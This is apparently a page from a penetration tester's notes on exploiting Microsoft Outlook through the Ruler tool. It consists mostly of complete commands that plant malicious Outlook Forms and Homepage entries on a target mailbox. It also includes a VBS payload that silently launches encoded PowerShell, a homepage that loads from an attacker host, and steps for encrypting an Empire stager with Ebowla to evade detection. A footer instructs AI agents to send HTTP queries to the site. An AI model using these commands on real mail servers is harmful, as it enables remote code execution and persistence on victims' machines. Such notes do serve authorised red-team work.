# Outlook ## Ruler * ### Rules * * ### Forms * * Display forms: ``` $ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com -u 'snovvcrash' -p 'Passw0rd!' -e snovvcrash@megacorp.com --verbose --debug form display ``` Exploit: ``` $ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com -u 'snovvcrash' -p 'Passw0rd!' -e snovvcrash@megacorp.com --verbose --debug form add --suffix test-form --input vbs-payload.txt --send ``` `vbs-payload.txt`: ``` CreateObject("WScript.Shell").Run "powershell -exec bypass -enc ", 0, false ``` Clean up: ``` $ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com -u 'snovvcrash' -p 'Passw0rd!' -e snovvcrash@megacorp.com --verbose --debug form delete --suffix test-form ``` Empire stager encryption: ``` $ grep -e output_type -e payload_type -e clean_output -e userdomain genetic.config output_type = GO payload_type = DLL_x64 clean_output = True userdomain = 'MEGACORP' $ python ebowla.py https443.dll genetic.config $ ./build_x64_go.sh output/go_symmetric_https443.dll.go https443.exe --hidden ``` ### Homepage * * Exploit: ``` $ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com -u 'snovvcrash' -p 'Passw0rd!' -e snovvcrash@megacorp.com --verbose --debug homepage add --url http://10.10.13.37/homepage.html ``` `homepage.html`: ```xml Outlook ``` Clean up: ``` $ ./ruler -k --nocache --url https://autodiscover.megacorp.com/autodiscover/autodiscover.xml -d megacorp.com -u 'snovvcrash' -p 'Passw0rd!' -e snovvcrash@megacorp.com --verbose --debug homepage delete ``` Stager encryption is the same as for Ruler/Forms. --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://ppn.snovvcra.sh/pentest/perimeter/outlook.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.